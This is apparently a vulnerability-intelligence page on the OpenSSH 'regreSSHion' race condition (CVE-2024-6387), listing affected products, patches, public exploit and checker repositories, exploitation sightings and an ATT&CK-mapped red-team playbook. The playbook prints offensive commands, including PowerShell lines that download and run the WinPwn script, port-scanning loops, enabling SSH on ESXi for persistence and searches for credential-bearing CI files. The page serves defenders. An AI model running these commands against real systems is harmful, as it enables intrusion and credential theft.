CVE-2024-6387

HIGH EXPLOIT POC TTE Zero-Day Pub 01/07 Upd 12/05

Overview

This vulnerability is a race condition in the OpenSSH server (sshd) signal handling mechanism. Specifically, the flaw arises from improper synchronization when sshd processes certain signals during authentication timeout handling. The affected component is the sshd daemon, which can mishandle signals in a non-thread-safe manner under timing conditions triggered by authentication failures.

Vulnerability Description

A security regression (CVE-2006-5051) was discovered in OpenSSH's server (sshd). There is a race condition which can lead sshd to handle some signals in an unsafe manner. An unauthenticated, remote attacker may be able to trigger it by failing to authenticate within a set time period.

Impact

An unauthenticated remote attacker can exploit this race condition to cause sshd to execute unsafe operations, potentially leading to denial of service or unauthorized code execution within the sshd process. No user interaction or credentials are required to trigger the vulnerability, enabling remote compromise of systems running affected OpenSSH server versions. This can result in full system compromise, unauthorized access, or disruption of secure shell services critical for system administration.

Solution

Red Hat has issued multiple security advisories addressing this issue, including RHSA-2024:4312, RHSA-2024:4340, RHSA-2024:4389, RHSA-2024:4469, and RHSA-2024:4474, which provide patched OpenSSH packages. Users of affected products such as Ubuntu 23.10, 24.04 LTS, SonicWall SMA 6200 and 7200 firmware, and Arista EOS should apply the corresponding vendor patches immediately. Detailed patch instructions and updates are available via the Red Hat security advisory portal at https://access.redhat.com/errata/. No specific workarounds are recommended beyond applying these updates.

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products (92)

Vendor Product Version CPE
sonicwall Sonicwall Sma 6200 Firmware N/A cpe:2.3:o:sonicwall:sma_6200_firmware:-:*:*:*:*:*:*:*
sonicwall Sonicwall Sma 7200 Firmware N/A cpe:2.3:o:sonicwall:sma_7200_firmware:-:*:*:*:*:*:*:*
arista Arista Eos All cpe:2.3:o:arista:eos:*:*:*:*:*:*:*:*
canonical Canonical Ubuntu Linux 23.10 cpe:2.3:o:canonical:ubuntu_linux:23.10:*:*:*:*:*:*:*
canonical Canonical Ubuntu Linux 24.04 cpe:2.3:o:canonical:ubuntu_linux:24.04:*:*:*:lts:*:*:*
almalinux Almalinux Almalinux 9.0 cpe:2.3:o:almalinux:almalinux:9.0:-:*:*:*:*:*:*
sonicwall Sonicwall Sma 6210 Firmware N/A cpe:2.3:o:sonicwall:sma_6210_firmware:-:*:*:*:*:*:*:*
sonicwall Sonicwall Sma 7210 Firmware N/A cpe:2.3:o:sonicwall:sma_7210_firmware:-:*:*:*:*:*:*:*
sonicwall Sonicwall Sma 8200v Firmware N/A cpe:2.3:o:sonicwall:sma_8200v_firmware:-:*:*:*:*:*:*:*
sonicwall Sonicwall Sra Ex 7000 Firmware N/A cpe:2.3:o:sonicwall:sra_ex_7000_firmware:-:*:*:*:*:*:*:*
netapp Netapp A1k Firmware N/A cpe:2.3:o:netapp:a1k_firmware:-:*:*:*:*:*:*:*
netapp Netapp A70 Firmware N/A cpe:2.3:o:netapp:a70_firmware:-:*:*:*:*:*:*:*
netapp Netapp A90 Firmware N/A cpe:2.3:o:netapp:a90_firmware:-:*:*:*:*:*:*:*
netapp Netapp A700s Firmware N/A cpe:2.3:o:netapp:a700s_firmware:-:*:*:*:*:*:*:*
netapp Netapp 8300 Firmware N/A cpe:2.3:o:netapp:8300_firmware:-:*:*:*:*:*:*:*
netapp Netapp 8700 Firmware N/A cpe:2.3:o:netapp:8700_firmware:-:*:*:*:*:*:*:*
netapp Netapp A400 Firmware N/A cpe:2.3:o:netapp:a400_firmware:-:*:*:*:*:*:*:*
netapp Netapp C400 Firmware N/A cpe:2.3:o:netapp:c400_firmware:-:*:*:*:*:*:*:*
netapp Netapp A250 Firmware N/A cpe:2.3:o:netapp:a250_firmware:-:*:*:*:*:*:*:*
netapp Netapp 500f Firmware N/A cpe:2.3:o:netapp:500f_firmware:-:*:*:*:*:*:*:*
+72 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

ExploitDB (1)

Title Author Type Platform Date Link
OpenSSH server (sshd) 9.8p1 - Race Condition Milad karimi remote linux - View

GitHub PoCs (101)

Repository Author Stars Forks Date Link
zgzhang/cve-2024-6387-poc
a signal handler race condition in OpenSSH's server (sshd)
zgzhang 497 185 2024-07-01 View
xaitax/CVE-2024-6387_Check
CVE-2024-6387_Check is a lightweight, efficient tool designed to identify servers running vulnerable versions of OpenSSH
xaitax 526 100 2024-07-01 View
acrono/cve-2024-6387-poc
32-bit PoC for CVE-2024-6387 — mirror of the original 7etsuo/cve-2024-6387-poc
acrono 376 85 2024-07-01 View
Karmakstylez/CVE-2024-6387
Remote Unauthenticated Code Execution Vulnerability in OpenSSH server (CVE-2024-6387)
Karmakstylez 196 46 2024-07-08 View
lflare/cve-2024-6387-poc
MIRROR of the original 32-bit PoC for CVE-2024-6387 "regreSSHion" by 7etsuo/cve-2024-6387-poc
lflare 128 40 2024-07-01 View
l0n3m4n/CVE-2024-6387
PoC - Remote Unauthenticated Code Execution Vulnerability in OpenSSH server (Scanner and Exploit)
l0n3m4n 114 37 2024-07-02 View
filipi86/CVE-2024-6387-Vulnerability-Checker
This Python script checks for the CVE-2024-6387 vulnerability in OpenSSH servers. It supports multiple IP addresses, URL...
filipi86 102 19 2024-07-09 View
xonoxitron/regreSSHion
CVE-2024-6387 (regreSSHion) Exploit (PoC), a vulnerability in OpenSSH's server (sshd) on glibc-based Linux systems.
xonoxitron 71 12 2024-07-02 View
d0rb/CVE-2024-6387
This Python script exploits a remote code execution vulnerability (CVE-2024-6387) in OpenSSH.
d0rb 52 15 2024-07-02 View
bigb0x/CVE-2024-6387
Bulk Scanning Tool for OpenSSH CVE-2024-6387, CVE-2006-5051 , CVE-2008-4109 and others.
bigb0x 35 8 2024-07-01 View
sxlmnwb/CVE-2024-6387
Targeting a signal handler race condition in OpenSSH's server (sshd) on glibc-based Linux systems.
sxlmnwb 21 8 2024-07-03 View
getdrive/CVE-2024-6387-PoC
PoC RCE in OpenSSH
getdrive 24 2 2024-07-01 View
YassDEV221608/CVE-2024-6387_PoC
YassDEV221608 16 8 2025-01-04 View
P4x1s/CVE-2024-6387
SSH RCE PoC CVE-2024-6387
P4x1s 10 10 2024-07-02 View
l-urk/CVE-2024-6387
Proof of concept python script for regreSSHion exploit.
l-urk 12 6 2024-07-30 View
devarshishimpi/CVE-2024-6387-Check
Fast, efficient, and reliable detection for the regreSSHion exploit. Scan multiple targets in seconds with zero dependen...
devarshishimpi 14 3 2024-07-02 View
TAM-K592/CVE-2024-6387
Recently, the OpenSSH maintainers released security updates to fix a critical vulnerability that could lead to unauthent...
TAM-K592 14 2 2024-07-02 View
xonoxitron/regreSSHion-checker
Quickly identifies servers vulnerable to OpenSSH 'regreSSHion' (CVE-2024-6387).
xonoxitron 10 6 2024-07-02 View
thegenetic/CVE-2024-6387-exploit
CVE-2024-6387 exploit
thegenetic 13 3 2024-07-02 View
AiGptCode/ssh_exploiter_CVE-2024-6387
CVE-2024-6387 with auto ip scanner and auto expliot
AiGptCode 10 3 2024-07-02 View
0x4D31/cve-2024-6387_hassh
HASSH fingerprints for identifying OpenSSH servers potentially vulnerable to CVE-2024-6387 (regreSSHion).
0x4D31 10 1 2024-07-05 View
Symbolexe/CVE-2024-6387
SSH Exploit for CVE-2024-6387 : RCE in OpenSSH's server, on glibc-based Linux systems
Symbolexe 3 6 2024-07-03 View
wiggels/regresshion-check
CLI Tool to Check SSH Servers for Vulnerability to CVE-2024-6387
wiggels 6 2 2024-07-01 View
MrR0b0t19/CVE-2024-6387-Exploit-POC
MrR0b0t19 4 2 2024-07-02 View
azurejoga/CVE-2024-6387-how-to-fix
Vulnerability remediation and mitigationCVE-2024-6387
azurejoga 5 0 2024-07-05 View
paradessia/CVE-2024-6387-nmap
CVE-2024-6387-nmap
paradessia 4 1 2024-07-02 View
kinu404/CVE-2024-6387
This is an altered PoC for d0rb/CVE-2024-6387. This takes glibc addresses and trys to exploit the CVE through them.
kinu404 4 1 2025-01-20 View
th3gokul/CVE-2024-6387
CVE-2024-6387 : Vulnerability Detection tool for regreSSHion Remote Unauthenticated Code Execution in OpenSSH Server
th3gokul 4 1 2024-07-02 View
Ap0dexMe0/CVE-2024-6387
OpenSSH RCE Massive Vulnerable Scanner
Ap0dexMe0 3 1 2024-07-15 View
RickGeex/CVE-2024-6387-Checker
CVE-2024-6387-Check is a streamlined and efficient tool created to detect servers operating on vulnerable versions of Op...
RickGeex 3 1 2024-07-02 View
harshinsecurity/sentinelssh
SentinelSSH is an advanced, high-performance SSH vulnerability scanner written in Go. It's specifically designed to dete...
harshinsecurity 4 0 2024-07-03 View
OHHDamnBRO/Noregressh
CVE-2024-6387 and more Checker and Exploiter - Reverse/Bind-Shell Support. education only
OHHDamnBRO 2 2 2025-09-26 View
lala-amber/CVE-2024-6387
lala-amber 4 0 2024-07-04 View
anhvutuan/CVE-2024-6387-poc-1
CVE-2024-6387, also known as RegreSSHion, is a high-severity vulnerability found in OpenSSH servers (sshd) running on gl...
anhvutuan 2 2 2024-10-22 View
m0n3ef/regreSSHion-Checker
A lightweight, fast tool to scan and detect the "regreSSHion" OpenSSH remote code execution vulnerability (CVE-2024-6387...
m0n3ef 3 0 2026-07-15 View
PrincipalAnthony/CVE-2024-6387-Updated-x64bit
Private x64 RCE exploit for CVE-2024-6387 [02.07.2024] from exploit.in
PrincipalAnthony 3 0 2024-07-02 View
passwa11/cve-2024-6387-poc
passwa11 1 2 2024-07-01 View
ThatNotEasy/CVE-2024-6387
OpenSSH RCE Massive Vulnerable Scanner
ThatNotEasy 2 1 2024-07-15 View
BrandonLynch2402/cve-2024-6387-nuclei-template
BrandonLynch2402 3 0 2024-07-02 View
awusan125/test_for6387
test code for cve-2024-6387
awusan125 3 0 2024-12-19 View
ACHUX21/checker-CVE-2024-6387
Python scanner that checks hosts for the OpenSSH regreSSHion vulnerability (CVE-2024-6387)
ACHUX21 2 1 2024-07-02 View
4lxprime/regreSSHive
rewrited SSH Exploit for CVE-2024-6387 (regreSSHion)
4lxprime 0 3 2024-07-04 View
oseasfr/Scanner_CVE_OpenSSH
Scanner para identificação de servidores com softwares SSH possivelmente vulnerável às CVEs CVE-2024-6387 e CVE-2023-487...
oseasfr 2 0 2026-05-21 View
identity-threat-labs/CVE-2024-6387-Vulnerability-Checker
This Python script checks for the CVE-2024-6387 vulnerability in OpenSSH servers. It supports multiple IP addresses, URL...
identity-threat-labs 2 0 2024-08-28 View
ahlfors/CVE-2024-6387
ahlfors 2 0 2024-07-02 View
grupooruss/CVE-2024-6387
regreSSHion vulnerability in OpenSSH CVE-2024-6387 Testing Script
grupooruss 2 0 2024-07-02 View
prelearn-code/CVE-2024-6387
prelearn-code 2 0 2024-07-25 View
betancour/OpenSSH-Vulnerability-test
OpenSSH CVE-2024-6387 Vulnerability Checker
betancour 2 0 2024-07-02 View
muyuanlove/CVE-2024-6387fixshell
muyuanlove 2 0 2024-07-02 View
shamo0/CVE-2024-6387_PoC
Script for checking CVE-2024-6387 (regreSSHion)
shamo0 1 1 2024-07-02 View
turbobit/CVE-2024-6387-OpenSSH-Vulnerability-Checker
Welcome to the CVE-2024-6387 OpenSSH Vulnerability Checker repository! This project offers multiple scripts to check th...
turbobit 1 1 2024-07-04 View
7etsuo/cve-2024-6387-poc
a signal handler race condition in OpenSSH's server (sshd)
7etsuo 1 0 2024-07-01 View
identity-threat-labs/Article-RegreSSHion-CVE-2024-6387
In an era where digital security is crucial, a new vulnerability in OpenSSH, identified as CVE-2024-6387, has drawn the ...
identity-threat-labs 1 0 2024-08-29 View
sardine-web/CVE-2024-6387_Check
A security regression (CVE-2006-5051) was discovered in OpenSSH's server (sshd). There is a race condition which can lea...
sardine-web 0 1 2024-07-04 View
s1d6point7bugcrowd/CVE-2024-6387-Race-Condition-in-Signal-Handling-for-OpenSSH
s1d6point7bugcrowd 0 1 2024-08-19 View
HadesNull123/CVE-2024-6387_Check
RCE OpenSSH CVE-2024-6387 Check and Exploit
HadesNull123 0 1 2024-08-26 View
X-Projetion/CVE-2023-4596-OpenSSH-Multi-Checker
CVE-2024-6387-checker is a tool or script designed to detect the security vulnerability known as CVE-2024-6387 OpenSSH. ...
X-Projetion 1 0 2024-08-06 View
alex14324/ssh_poc2024
An exploit for CVE-2024-6387, targeting a signal handler race condition in OpenSSH's server
alex14324 1 0 2024-07-31 View
xiw1ll/CVE-2024-6387_Checker
Nuclei template to detect CVE-2024-6387. All latest patched versions are excluded.
xiw1ll 1 0 2025-07-23 View
xristos8574/regreSSHion-nmap-scanner
A bash script for nmap to scan for vulnerable machines in regards to the latest CVE-2024-6387
xristos8574 1 0 2024-07-02 View
n1cks0n/Test_CVE-2024-6387
Test_CVE-2024-6387 is a lightweight, efficient tool designed to identify servers running vulnerable versions of OpenSSH
n1cks0n 1 0 2024-07-02 View
mrmtwoj/CVE-2024-6387
regreSSHion is a security tool designed to test for vulnerabilities related to CVE-2024-6387, specifically focusing on S...
mrmtwoj 0 1 2024-07-09 View
teamos-hub/regreSSHion
This is a POC I wrote for CVE-2024-6387
teamos-hub 1 0 2024-07-02 View
R4Tw1z/CVE-2024-6387
This script, created by R4Tw1z, is designed to scan IP addresses to check if they are running a potentially vulnerable v...
R4Tw1z 1 0 2024-07-02 View
rumochnaya/openssh-cve-2024-6387.sh
openssh-cve-2024-6387.sh
rumochnaya 1 0 2024-07-02 View
sardine-web/CVE-2024-6387-template
Quick regreSSHion checker (based on software version) for nuclei CVE-2024-6387
sardine-web 1 0 2024-07-05 View
redux-sibi-jose/mitigate_ssh
OpenSSH vulnerability CVE-2024-6387
redux-sibi-jose 1 0 2024-07-11 View
SkyGodling/CVE-2024-6387-POC
SkyGodling 0 1 2024-07-02 View
hasan8babiker/CVE-2024-6387
hasan8babiker 0 0 2026-08-06 View
al7araziruby-jpg/CVE-2024-6387-OpenSSH-Analysis
Security analysis and report of CVE-2024-6387 OpenSSH vulnerability, including vulnerability details, CVSS evaluation, a...
al7araziruby-jpg 0 0 2026-07-23 View
vuducmanhno100-cloud/CVE-2024-6387
CVE-2024-6387 POC (Currently being edited)
vuducmanhno100-cloud 0 0 2026-05-22 View
particle99/CVE-2024-6387-POC
fork for proof of concept of the regresshion vulnerability
particle99 0 0 2024-07-02 View
edsonjt81/CVE-2024-6387_Check
edsonjt81 0 0 2024-07-02 View
CognisysGroup/CVE-2024-6387-Checker
CognisysGroup 0 0 2024-07-02 View
t3rry327/cve-2024-6387-poc
t3rry327 0 0 2024-07-03 View
sms2056/CVE-2024-6387
sms2056 0 0 2024-07-04 View
almogopp/OpenSSH-CVE-2024-6387-Fix
A Bash script to mitigate the CVE-2024-6387 vulnerability in OpenSSH by providing an option to upgrade to a secure versi...
almogopp 0 0 2024-08-20 View
invaderslabs/regreSSHion-CVE-2024-6387-
Provides instructions for using the script to check if your OpenSSH installation is vulnerable to CVE-2024-6387
invaderslabs 0 0 2024-07-04 View
daniel-odrinski/CVE-2024-6387-Mitigation-Ansible-Playbook
An Ansible Playbook to mitigate the risk of RCE (CVE-2024-6387) until platforms update OpenSSH to a non-vulnerable versi...
daniel-odrinski 0 0 2024-07-02 View
kubota/CVE-2024-6387-Vulnerability-Checker
This Rust Code is designed to check SSH servers for the CVE-2024-6387 vulnerability
kubota 0 0 2024-07-09 View
FerasAlrimali/CVE-2024-6387-POC
SSHd cve-2024-6387-poc
FerasAlrimali 0 0 2024-07-01 View
CiderAndWhisky/regression-scanner
Used to detect ssh servers vulnerable to CVE-2024-6387. Shameless robbery from https://github.com/bigb0x/CVE-2024-6387 u...
CiderAndWhisky 0 0 2024-07-02 View
dream434/CVE-2024-6387
OpenSSH a publié un avis de sécurité concernant la vulnérabilité critique CVE-2024-6387. Cette vulnérabilité permet à u...
dream434 0 0 2024-07-14 View
moften/regreSSHion-CVE-2024-6387
CVE-2024-6387
moften 0 0 2025-09-08 View
JackSparrowhk/ssh-CVE-2024-6387-poc
CVE-2024-6387_Check 是一款轻量级、高效的工具,旨在识别运行易受攻击的 OpenSSH 版本的服务器,专门针对最近发现的regreSSHion漏洞 (CVE-2024-6387)。此脚本有助于快速扫描多个 IP 地址、域名...
JackSparrowhk 0 0 2024-07-04 View
Remnant-DB/CVE-2024-6387
OpenSSH regreSSHion (CVE-2024-6387) Lab
Remnant-DB 0 0 2026-03-09 View
Ngagne-Demba-Dia/CVE-2024-6387-corrigee
Ngagne-Demba-Dia 0 0 2025-12-08 View
no-one-sec/CVE-2024-6387
开箱即用的AK47
no-one-sec 0 0 2024-07-02 View
dawnl3ss/CVE-2024-6387
dawnl3ss 0 0 2024-07-02 View
Mufti22/CVE-2024-6387-checkher
Mufti22 0 0 2024-07-02 View
jocker2410/CVE-2024-6387_poc
jocker2410 0 0 2024-07-03 View
imv7/CVE-2024-6387
imv7 0 0 2024-07-05 View
DimaMend/cve-2024-6387-poc
DimaMend 0 0 2024-07-10 View
jack0we/CVE-2024-6387
jack0we 0 0 2024-07-01 View
zenzue/CVE-2024-6387-Mitigation
Mitigation Guide for CVE-2024-6387 in OpenSSH
zenzue 0 0 2024-07-02 View
hssmo/cve-2024-6387_AImade
cve-2024-6387_AImade
hssmo 0 0 2024-07-02 View
vkaushik-chef/regreSSHion
Chef Inspec profile for checking regreSSHion vulnerability CVE-2024-6387
vkaushik-chef 0 0 2024-07-08 View
dgourillon/mitigate-CVE-2024-6387
dgourillon 0 0 2024-07-09 View
YassDEV221608/CVE-2024-6387
YassDEV221608 0 0 2024-11-24 View
Doux-x/CVE-2024-6387-analysis
CVE-2024-6387 OpenSSH 信号竞争漏洞(regreSSHion)分析报告及检测脚本
Doux-x 0 0 2026-03-30 View
kaleth4/CVE-2024-6387
kaleth4 0 0 2026-03-31 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest HIGH
Sightings Extensive activity

Threat Feed

33 events
2026-10-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2024-07-01
PoC Published (101 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Detected as Exploited in the Wild (143 sightings)

Active exploitation confirmed with 143 sighting(s)

Exploit Published (1 ExploitDB, 0 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Race Condition
100% race_condition

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-29 Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions
34%
High High
CAPEC-26 Leveraging Race Conditions
32%
High High

Red Team Playbook

49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1046 Windows - Port Scan using RustScan (Port list) Windows PowerShell
Scan ports on a target host using RustScan. Downloads the portable RustScan release binary and scans 127.0.0.1 by default. Uses --greppable so that nmap is not a dependency.
Command (PowerShell)
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access Drone CI Config File Linux, macOS Shell
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Gitlab CI Config File Linux, macOS Shell
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Jenkinsfile Linux, macOS Shell
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Travis CI Config File Linux, macOS Shell
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
